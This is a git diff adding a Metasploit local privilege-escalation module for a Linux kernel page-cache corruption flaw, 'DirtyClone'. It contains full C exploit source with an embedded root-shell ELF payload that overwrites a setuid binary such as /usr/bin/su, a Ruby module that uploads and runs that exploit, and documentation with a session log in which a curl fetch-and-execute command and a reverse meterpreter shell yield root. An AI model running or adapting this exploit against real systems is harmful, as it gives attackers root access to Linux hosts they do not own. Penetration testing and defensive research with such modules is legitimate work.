diff --git a/data/exploits/CVE-2026-43503/cve-2026-43503-x64 b/data/exploits/CVE-2026-43503/cve-2026-43503-x64 new file mode 100755 index 0000000000000..fe6e138908533 Binary files /dev/null and b/data/exploits/CVE-2026-43503/cve-2026-43503-x64 differ diff --git a/data/exploits/CVE-2026-43503/cve-2026-43503.c b/data/exploits/CVE-2026-43503/cve-2026-43503.c new file mode 100644 index 0000000000000..f28c64ca5043d --- /dev/null +++ b/data/exploits/CVE-2026-43503/cve-2026-43503.c @@ -0,0 +1,456 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include + +#ifndef UDP_ENCAP + #define UDP_ENCAP 100 +#endif +#ifndef UDP_ENCAP_ESPINUDP + #define UDP_ENCAP_ESPINUDP 2 +#endif +#ifndef SOL_UDP + #define SOL_UDP 17 +#endif + +#define ENC_PORT 4500 +#define SEQ_VAL 200 +#define REPLAY_SEQ 100 +#define PATCH_OFFSET 0 /* Overwrite the whole ELF starting at file[0]. */ +#define PAYLOAD_LEN 192 /* Bytes of shell_elf to write (48 triggers). */ +#define ENTRY_OFFSET 0x78 /* Shellcode entry inside the new ELF. */ + +#define TEE_GATEWAY "10.99.0.2" /* TEE clone destination, configured on lo. */ + +static int g_verbose = 0; + +#define SLOG(fmt, ...) \ + do { \ + if (g_verbose) \ + fprintf(stderr, "[dc] " fmt "\n", ##__VA_ARGS__); \ + } while (0) + +/* + * 192-byte minimal x86_64 root-shell ELF (identical to the DirtyFrag ESP + * payload). _start at 0x400078: setgid(0); setuid(0); setgroups(0, NULL); + * execve("/bin/sh", NULL, ["TERM=xterm", NULL]). + */ +static const uint8_t shell_elf[PAYLOAD_LEN] = { + 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, + 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb8, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xff, 0x31, 0xf6, 0x31, 0xc0, + 0xb0, 0x6a, 0x0f, 0x05, 0xb0, 0x69, 0x0f, 0x05, 0xb0, 0x74, 0x0f, 0x05, 0x6a, 0x00, + 0x48, 0x8d, 0x05, 0x12, 0x00, 0x00, 0x00, 0x50, 0x48, 0x89, 0xe2, 0x48, 0x8d, 0x3d, + 0x12, 0x00, 0x00, 0x00, 0x31, 0xf6, 0x6a, 0x3b, 0x58, 0x0f, 0x05, 0x54, 0x45, 0x52, + 0x4d, 0x3d, 0x78, 0x74, 0x65, 0x72, 0x6d, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, + 0x68, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +}; + +static int +write_proc(const char *path, const char *buf) +{ + int fd = open(path, O_WRONLY); + if (fd < 0) + return -1; + int n = write(fd, buf, strlen(buf)); + close(fd); + return n; +} + +static int +run_cmd(const char *fmt, ...) +{ + char cmd[256]; + va_list ap; + va_start(ap, fmt); + vsnprintf(cmd, sizeof(cmd), fmt, ap); + va_end(ap); + int rc = system(cmd); + SLOG("cmd: %s -> %d", cmd, rc); + return rc; +} + +static void +setup_userns_netns(void) +{ + uid_t real_uid = getuid(); + gid_t real_gid = getgid(); + if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) { + SLOG("unshare: %s", strerror(errno)); + exit(1); + } + write_proc("/proc/self/setgroups", "deny"); + char map[64]; + snprintf(map, sizeof(map), "0 %u 1", real_uid); + if (write_proc("/proc/self/uid_map", map) < 0) { + SLOG("uid_map: %s", strerror(errno)); + exit(1); + } + snprintf(map, sizeof(map), "0 %u 1", real_gid); + if (write_proc("/proc/self/gid_map", map) < 0) { + SLOG("gid_map: %s", strerror(errno)); + exit(1); + } + int s = socket(AF_INET, SOCK_DGRAM, 0); + if (s < 0) { + SLOG("socket: %s", strerror(errno)); + exit(1); + } + struct ifreq ifr; + memset(&ifr, 0, sizeof(ifr)); + strncpy(ifr.ifr_name, "lo", IFNAMSIZ); + if (ioctl(s, SIOCGIFFLAGS, &ifr) < 0) { + SLOG("SIOCGIFFLAGS: %s", strerror(errno)); + exit(1); + } + ifr.ifr_flags |= IFF_UP | IFF_RUNNING; + if (ioctl(s, SIOCSIFFLAGS, &ifr) < 0) { + SLOG("SIOCSIFFLAGS: %s", strerror(errno)); + exit(1); + } + close(s); +} + +/* + * The DirtyClone-specific step: make the kernel clone every ESP-in-UDP packet + * so the clone (with SKBFL_SHARED_FRAG stripped by __pskb_copy_fclone) is the + * skb that reaches esp_input(). The TEE target performs the clone; the gateway + * address is configured on lo so the clone is delivered locally and re-enters + * the ESP-in-UDP receive path matched by our XFRM SA. + * + * NOTE: exact routing/selector tuning for the clone to land on the ESP path is + * the live iteration target on the vulnerable kernel; the recipe below mirrors + * the JFrog write-up (mangle/OUTPUT TEE on udp/4500 -> gateway on lo). + */ +static int +setup_tee_clone(void) +{ + // Control switch: DIRTYCLONE_NO_TEE skips the clone step so the direct + // splice path can be tested in isolation (negative control on a kernel + // that carries the DirtyFrag splice fix). + if (getenv("DIRTYCLONE_NO_TEE")) { + SLOG("TEE step skipped (DIRTYCLONE_NO_TEE set)"); + return 0; + } + run_cmd("ip addr add %s/32 dev lo 2>/dev/null", TEE_GATEWAY); + run_cmd("ip route add %s/32 dev lo 2>/dev/null", TEE_GATEWAY); + if (run_cmd("iptables -t mangle -A OUTPUT -p udp --dport %d " + "-j TEE --gateway %s", + ENC_PORT, TEE_GATEWAY) != 0) { + SLOG("TEE rule install failed (xt_TEE missing?)"); + return -1; + } + return 0; +} + +static void +put_attr(struct nlmsghdr *nlh, int type, const void *data, size_t len) +{ + struct rtattr *rta = (struct rtattr *) ((char *) nlh + NLMSG_ALIGN(nlh->nlmsg_len)); + rta->rta_type = type; + rta->rta_len = RTA_LENGTH(len); + memcpy(RTA_DATA(rta), data, len); + nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(rta->rta_len); +} + +static int +add_xfrm_sa(uint32_t spi, uint32_t patch_seqhi) +{ + int sk = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM); + if (sk < 0) + return -1; + struct sockaddr_nl nl = {.nl_family = AF_NETLINK}; + if (bind(sk, (struct sockaddr *) &nl, sizeof(nl)) < 0) { + close(sk); + return -1; + } + + char buf[4096] = {0}; + struct nlmsghdr *nlh = (struct nlmsghdr *) buf; + nlh->nlmsg_type = XFRM_MSG_NEWSA; + nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; + nlh->nlmsg_pid = getpid(); + nlh->nlmsg_seq = 1; + nlh->nlmsg_len = NLMSG_LENGTH(sizeof(struct xfrm_usersa_info)); + + struct xfrm_usersa_info *xs = (struct xfrm_usersa_info *) NLMSG_DATA(nlh); + xs->id.daddr.a4 = inet_addr("127.0.0.1"); + xs->id.spi = htonl(spi); + xs->id.proto = IPPROTO_ESP; + xs->saddr.a4 = inet_addr("127.0.0.1"); + xs->family = AF_INET; + xs->mode = XFRM_MODE_TRANSPORT; + xs->replay_window = 0; + xs->reqid = 0x1234; + xs->flags = XFRM_STATE_ESN; + xs->lft.soft_byte_limit = (uint64_t) -1; + xs->lft.hard_byte_limit = (uint64_t) -1; + xs->lft.soft_packet_limit = (uint64_t) -1; + xs->lft.hard_packet_limit = (uint64_t) -1; + xs->sel.family = AF_INET; + xs->sel.prefixlen_d = 32; + xs->sel.prefixlen_s = 32; + xs->sel.daddr.a4 = inet_addr("127.0.0.1"); + xs->sel.saddr.a4 = inet_addr("127.0.0.1"); + + { + char alg_buf[sizeof(struct xfrm_algo_auth) + 32]; + memset(alg_buf, 0, sizeof(alg_buf)); + struct xfrm_algo_auth *aa = (struct xfrm_algo_auth *) alg_buf; + strncpy(aa->alg_name, "hmac(sha256)", sizeof(aa->alg_name) - 1); + aa->alg_key_len = 32 * 8; + aa->alg_trunc_len = 128; + memset(aa->alg_key, 0xAA, 32); + put_attr(nlh, XFRMA_ALG_AUTH_TRUNC, alg_buf, sizeof(alg_buf)); + } + { + char alg_buf[sizeof(struct xfrm_algo) + 16]; + memset(alg_buf, 0, sizeof(alg_buf)); + struct xfrm_algo *ea = (struct xfrm_algo *) alg_buf; + strncpy(ea->alg_name, "cbc(aes)", sizeof(ea->alg_name) - 1); + ea->alg_key_len = 16 * 8; + memset(ea->alg_key, 0xBB, 16); + put_attr(nlh, XFRMA_ALG_CRYPT, alg_buf, sizeof(alg_buf)); + } + { + struct xfrm_encap_tmpl enc; + memset(&enc, 0, sizeof(enc)); + enc.encap_type = UDP_ENCAP_ESPINUDP; + enc.encap_sport = htons(ENC_PORT); + enc.encap_dport = htons(ENC_PORT); + enc.encap_oa.a4 = 0; + put_attr(nlh, XFRMA_ENCAP, &enc, sizeof(enc)); + } + { + char esn_buf[sizeof(struct xfrm_replay_state_esn) + 4]; + memset(esn_buf, 0, sizeof(esn_buf)); + struct xfrm_replay_state_esn *esn = (struct xfrm_replay_state_esn *) esn_buf; + esn->bmp_len = 1; + esn->oseq = 0; + esn->seq = REPLAY_SEQ; + esn->oseq_hi = 0; + esn->seq_hi = patch_seqhi; + esn->replay_window = 32; + put_attr(nlh, XFRMA_REPLAY_ESN_VAL, esn_buf, sizeof(esn_buf)); + } + + if (send(sk, nlh, nlh->nlmsg_len, 0) < 0) { + close(sk); + return -1; + } + char rbuf[4096]; + int n = recv(sk, rbuf, sizeof(rbuf), 0); + if (n < 0) { + close(sk); + return -1; + } + struct nlmsghdr *rh = (struct nlmsghdr *) rbuf; + if (rh->nlmsg_type == NLMSG_ERROR) { + struct nlmsgerr *e = NLMSG_DATA(rh); + if (e->error) { + close(sk); + return -1; + } + } + close(sk); + return 0; +} + +static int +do_one_write(const char *path, off_t offset, uint32_t spi) +{ + int sk_recv = socket(AF_INET, SOCK_DGRAM, 0); + if (sk_recv < 0) + return -1; + int one = 1; + setsockopt(sk_recv, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)); + struct sockaddr_in sa_d = { + .sin_family = AF_INET, + .sin_port = htons(ENC_PORT), + .sin_addr = {inet_addr("127.0.0.1")}, + }; + if (bind(sk_recv, (struct sockaddr *) &sa_d, sizeof(sa_d)) < 0) { + close(sk_recv); + return -1; + } + int encap = UDP_ENCAP_ESPINUDP; + if (setsockopt(sk_recv, IPPROTO_UDP, UDP_ENCAP, &encap, sizeof(encap)) < 0) { + close(sk_recv); + return -1; + } + int sk_send = socket(AF_INET, SOCK_DGRAM, 0); + if (sk_send < 0) { + close(sk_recv); + return -1; + } + if (connect(sk_send, (struct sockaddr *) &sa_d, sizeof(sa_d)) < 0) { + close(sk_send); + close(sk_recv); + return -1; + } + int file_fd = open(path, O_RDONLY); + if (file_fd < 0) { + close(sk_send); + close(sk_recv); + return -1; + } + + int pfd[2]; + if (pipe(pfd) < 0) { + close(file_fd); + close(sk_send); + close(sk_recv); + return -1; + } + + uint8_t hdr[24]; + *(uint32_t *) (hdr + 0) = htonl(spi); + *(uint32_t *) (hdr + 4) = htonl(SEQ_VAL); + memset(hdr + 8, 0xCC, 16); + + struct iovec iov_h = {.iov_base = hdr, .iov_len = sizeof(hdr)}; + if (vmsplice(pfd[1], &iov_h, 1, 0) != (ssize_t) sizeof(hdr)) { + close(file_fd); + close(pfd[0]); + close(pfd[1]); + close(sk_send); + close(sk_recv); + return -1; + } + loff_t off = offset; + ssize_t s = splice(file_fd, &off, pfd[1], NULL, 16, SPLICE_F_MOVE); + if (s != 16) { + close(file_fd); + close(pfd[0]); + close(pfd[1]); + close(sk_send); + close(sk_recv); + return -1; + } + /* Send the ESP-in-UDP packet. The mangle/OUTPUT TEE rule clones it; the + * clone loses SKBFL_SHARED_FRAG and esp_input() decrypts it in place over + * the spliced page-cache page. */ + s = splice(pfd[0], NULL, sk_send, NULL, 24 + 16, SPLICE_F_MOVE); + usleep(150 * 1000); + + close(file_fd); + close(pfd[0]); + close(pfd[1]); + close(sk_send); + close(sk_recv); + return s == 40 ? 0 : -1; +} + +static int +verify_byte(const char *path, off_t offset, uint8_t want) +{ + int fd = open(path, O_RDONLY); + if (fd < 0) + return -1; + uint8_t got; + if (pread(fd, &got, 1, offset) != 1) { + close(fd); + return -1; + } + close(fd); + return got == want ? 0 : -1; +} + +static int +corrupt_su(char * target_path) +{ + setup_userns_netns(); + if (setup_tee_clone() < 0) + return -1; + usleep(100 * 1000); + + /* Install one xfrm SA per 4-byte chunk; each carries the desired payload + * word in its seq_hi field. */ + for (int i = 0; i < PAYLOAD_LEN / 4; i++) { + uint32_t spi = 0xDEADBE10 + i; + uint32_t seqhi = ((uint32_t) shell_elf[i * 4 + 0] << 24) | + ((uint32_t) shell_elf[i * 4 + 1] << 16) | + ((uint32_t) shell_elf[i * 4 + 2] << 8) | + ((uint32_t) shell_elf[i * 4 + 3]); + if (add_xfrm_sa(spi, seqhi) < 0) { + SLOG("add_xfrm_sa #%d failed", i); + return -1; + } + } + SLOG("installed %d xfrm SAs", PAYLOAD_LEN / 4); + + for (int i = 0; i < PAYLOAD_LEN / 4; i++) { + uint32_t spi = 0xDEADBE10 + i; + off_t off = PATCH_OFFSET + i * 4; + if (do_one_write(target_path, off, spi) < 0) { + SLOG("do_one_write #%d at off=0x%lx failed", i, (long) off); + return -1; + } + } + SLOG("wrote %d bytes to %s starting at 0x%x", PAYLOAD_LEN, target_path, PATCH_OFFSET); + return 0; +} + +int main(int argc, char **argv) +{ + + if(argc != 2) + { + fprintf(stderr, "Usage: %s suid_binary\n", argv[0]); + return 1; + } + + char * target_path = argv[1]; + + pid_t cpid = fork(); + if (cpid < 0) + return 1; + if (cpid == 0) { + int rc = corrupt_su(target_path); + _exit(rc == 0 ? 0 : 2); + } + int cstatus; + waitpid(cpid, &cstatus, 0); + if (!WIFEXITED(cstatus) || WEXITSTATUS(cstatus) != 0) { + SLOG("corruption stage failed (status=0x%x)", cstatus); + return 1; + } + + /* The new ELF entry (file offset 0x78) must start with 0x31 0xff + * (xor edi, edi — first instruction of the shellcode). */ + if (verify_byte(target_path, ENTRY_OFFSET, 0x31) != 0 || + verify_byte(target_path, ENTRY_OFFSET + 1, 0xff) != 0) { + SLOG("post-write verify failed (target unchanged)"); + return 1; + } + SLOG("%s page-cache patched (entry 0x%x = shellcode)", target_path, ENTRY_OFFSET); + return 0; +} + diff --git a/documentation/modules/exploit/linux/local/dirtyclone_cve_2026_43503.md b/documentation/modules/exploit/linux/local/dirtyclone_cve_2026_43503.md new file mode 100644 index 0000000000000..78c52c3838d08 --- /dev/null +++ b/documentation/modules/exploit/linux/local/dirtyclone_cve_2026_43503.md @@ -0,0 +1,102 @@ +## Vulnerable Application + +CVE-2026-43503 ("DirtyClone") is a Linux kernel local privilege escalation vulnerability +related to the DirtyFrag family of page-cache corruption bugs. The root cause is in +`__pskb_copy_fclone()`: when the xt_TEE netfilter target clones an ESP-in-UDP packet, +the clone has the `SKBFL_SHARED_FRAG` flag stripped. This causes `esp_input()` to +decrypt the clone's payload in-place, directly mutating the page-cache page that was +spliced into the packet — even if that page backs a read-only or immutable on-disk file +(e.g. a setuid binary). The on-disk file is left unchanged while the corrupted in-memory +view is immediately visible to all processes reading from the page cache. + +Kernel versions up to 7.1-rc4 are vulnerable. The fix landed in 7.1-rc5. + +- *Note*: When testing on Ubuntu machine, you need to enable unprivileged user namespaces: + +``` + sudo sysctl -w kernel.apparmor_restrict_unprivileged_userns=0 +``` + +## Verification Steps + +1. Obtain a shell or meterpreter session on a vulnerable Linux host +1. Start msfconsole +1. Do: `use exploit/linux/local/dirtyclone_cve_2026_43503` +1. Do: `set SESSION [session number]` +1. Do: `set LHOST [your IP]` +1. Do: `run` +1. You should get a root shell. + +## Options + +### WRITABLEDIR + +Directory on the remote host where the exploit binary will be written +and executed. Defaults to `/tmp`. Must be writable and executable by the current user. + +### SUID_BINARY_PATH + +Path to the setuid binary whose page-cache entry will be +overwritten with the shellcode ELF. Defaults to `/usr/bin/su`. + + +## Scenarios + +### Obtaining session + +``` +msf > use payload/linux/x64/meterpreter_reverse_tcp +msf payload(linux/x64/meterpreter_reverse_tcp) > show options +s +Module options (payload/linux/x64/meterpreter_reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +View the full module info with the info, or info -d command. + +msf payload(linux/x64/meterpreter_reverse_tcp) > set lhost tun0 +slhost => 10.38.37.13 +msf payload(linux/x64/meterpreter_reverse_tcp) > set lport 4242 +lport => 4242 +msf payload(linux/x64/meterpreter_reverse_tcp) > generate -f raw -o /tmp/msf +[*] Writing 1121480 bytes to /tmp/msf... +msf payload(linux/x64/meterpreter_reverse_tcp) > to_handler +[*] Payload Handler Started as Job 0 + +[*] Started reverse TCP handler on 10.38.37.13:4242 +msf payload(linux/x64/meterpreter_reverse_tcp) > [*] Meterpreter session 1 opened (10.38.37.13:4242 -> 10.11.58.111:59723) at 2026-07-01 10:59:29 +0200 +``` + +### Escalate privileges +``` +msf payload(linux/x64/meterpreter_reverse_tcp) > use exploit/linux/local/dirtyclone_cve_2026_43503 +[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp +msf exploit(linux/local/dirtyclone_cve_2026_43503) > set lhost tun0 +selhost => tun0 +msf exploit(linux/local/dirtyclone_cve_2026_43503) > set fetch_srvport 8888 +fetch_srvport => 8888 +msf exploit(linux/local/dirtyclone_cve_2026_43503) > run verbose=true forceexploit=true +[*] Command to run on remote host: curl -so ./RfqOBHEUuWRT http://10.38.37.13:8888/gfNrmQdB6eIrPk6_YlMmLA;chmod +x ./RfqOBHEUuWRT;./RfqOBHEUuWRT& +[*] Fetch handler listening on 10.38.37.13:8888 +[*] HTTP server started +[*] Adding resource /gfNrmQdB6eIrPk6_YlMmLA +[*] Started reverse TCP handler on 10.38.37.13:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[!] The service is running, but could not be validated. The required ESP vulnerable module are not active +[*] Compiling exploit live on target +[*] Exploit in /tmp/trkexvjf +[*] Return code from exploit: 0 +[*] Client 10.11.58.111 requested /gfNrmQdB6eIrPk6_YlMmLA +[*] Sending payload to 10.11.58.111 (curl/8.5.0) +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3090404 bytes) to 10.11.58.111 +[*] Cleaning up after exploit +[*] Meterpreter session 4 opened (10.38.37.13:4444 -> 10.11.58.111:45873) at 2026-07-01 11:07:34 +0200 + +meterpreter > getuid +Server username: root +``` diff --git a/modules/exploits/linux/local/dirtyclone_cve_2026_43503.rb b/modules/exploits/linux/local/dirtyclone_cve_2026_43503.rb new file mode 100644 index 0000000000000..e9c158257dbea --- /dev/null +++ b/modules/exploits/linux/local/dirtyclone_cve_2026_43503.rb @@ -0,0 +1,126 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = NormalRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html + + include Msf::Post::Linux::Priv + include Msf::Post::Linux::System + include Msf::Post::Linux::Kernel + include Msf::Post::File + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + include Msf::Post::Linux::Compile + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Sample Linux Priv Esc', 'Description' => %q{ + This exploit module illustrates how a vulnerability could be exploited + in an linux command for priv esc. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Eddy Tsalolikhin', # research & discovery + 'Or Peles', # research & discovery + 'msutovsky-r7' # msf module + ], + 'Platform' => [ 'linux' ], + 'Arch' => [ ARCH_CMD ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Targets' => [[ 'Auto', {} ]], + 'Privileged' => true, + 'References' => [ + [ 'URL', 'https://research.jfrog.com/post/dissecting-and-exploiting-linux-lpe-variant-dirtyclone-cve-2026-43503/'], + [ 'CVE', '2026-43503'] + ], + 'DisclosureDate' => '2026-05-21', + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] + } + ) + ) + # force exploit is used to bypass the check command results + register_advanced_options [ + OptString.new('WRITABLEDIR', [ true, 'A directory where we can write files', '/tmp' ]), + OptString.new('SUID_BINARY_PATH', [ true, 'A target setuid binary that will be used to escalate privileges', '/usr/bin/su' ]) + ] + end + + def base_dir + datastore['WRITABLEDIR'].to_s + end + + def check + kernel_release = kernel_rex_release + + return CheckCode::Unknown('Could not determine kernel release') if kernel_release.nil? + + return CheckCode::Safe("The patched version detected") if kernel_release[:upstream] > Rex::Version.new("7.1") || (kernel_release[:upstream] == Rex::Version.new("7.1") && kernel_relese[:distro_suffix] == Rex::Version.new("rc5")) + + active_kernel_modules = kernel_modules + + required_esp_modules = %w[esp4 esp6] + + return CheckCode::Detected("The required ESP vulnerable module are not active") unless active_kernel_modules.any? { |m| required_esp_modules.include?(m) } + + return CheckCode::Detected("The required xt_TEE module are not active") unless active_kernel_modules.include?("xt_TEE") + + CheckCode::Appears("Detected vulnerable kernel version and required modules are active") + end + + def exploit + + fail_with(Failure::None, "Session already has root privileges.") unless datastore['ForceExploit'] || !is_root? + + arch = kernel_arch + + fail_with(Failure::BadConfig, "Currently supports only x64") unless arch == ARCH_X64 + + target_dir = base_dir + + fail_with(Failure::BadConfig, "#{target_dir} is not writable") unless writable?(target_dir) + + setuid_binary_path = datastore['SUID_BINARY_PATH'].to_s + + exploit_file = "#{target_dir}/#{Rex::Text.rand_text_alpha_lower(6..12)}" + + if live_compile? + exploit_c = exploit_data("CVE-2026-43503", "cve-2026-43503.c") + vprint_status("Compiling exploit live on target") + upload_and_compile(exploit_file, exploit_c) + else + vprint_status("Uploading precompiled exploit") + exploit_binary = exploit_data("CVE-2026-43503", "cve-2026-43503-x64") + upload_and_chmodx(exploit_file, exploit_binary) + end + + vprint_status("Exploit in #{exploit_file}") + + exploit_response = cmd_exec("#{exploit_file} #{setuid_binary_path} && echo $?") + + vprint_status("Return code from exploit: #{exploit_response}") + + fail_with(Failure::PayloadFailed, "Failed to overwrite bytes of #{setuid_binary_path}") unless exploit_response == '0' + + cmd_exec("echo -n #{Base64.strict_encode64(payload.encoded)} | base64 -d | /usr/bin/su") + + end + + def on_new_session(session) + vprint_status("Cleaning up after exploit") + if session.type.eql?('meterpreter') + session.core.use('stdapi') unless session.ext.aliases.include?('stdapi') + session.sys.process.execute('/bin/sh', "-c 'echo 1 | tee /proc/sys/vm/drop_caches'") + else + session.shell_command_token('echo 1 | tee /proc/sys/vm/drop_caches') + end + end +end